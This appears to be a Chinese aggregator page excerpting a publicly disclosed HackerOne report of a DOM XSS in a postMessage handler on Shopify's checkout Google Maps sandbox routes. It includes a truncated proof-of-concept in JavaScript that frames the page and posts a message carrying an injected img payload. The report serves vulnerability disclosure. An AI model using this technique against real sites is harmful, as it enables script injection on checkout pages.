H1514 DOM XSS on checkout.shopify.com via postMessage handler on /:id/sandbox/google_maps
该报告还没有中文解读。
原文摘录
摘自原文（1363 字符中的一小部分）
Description: The `/:id/sandbox/google_maps` and `/:id/sandbox/google_autocomplete` routes on `checkout.shopify.com` are used to render the Google Map on the "Order Status" page as well as the address prediction on checkout pages. The page performs origin validation on incoming postMessages making …
原文中的代码
var frame = document.createElement("iframe");
frame.src = "https://checkout.shopify.com/4736483384/sandbox/google_maps";
frame.onload = function() {
frame.contentWindow.postMessage("shopify_google_api:" + JSON.stringify({
action: "createMapAndMarkers",
body: [{
title: "<img src=xx: …默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Shopify 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @bored-engineer · 版权归作者与 Shopify 所有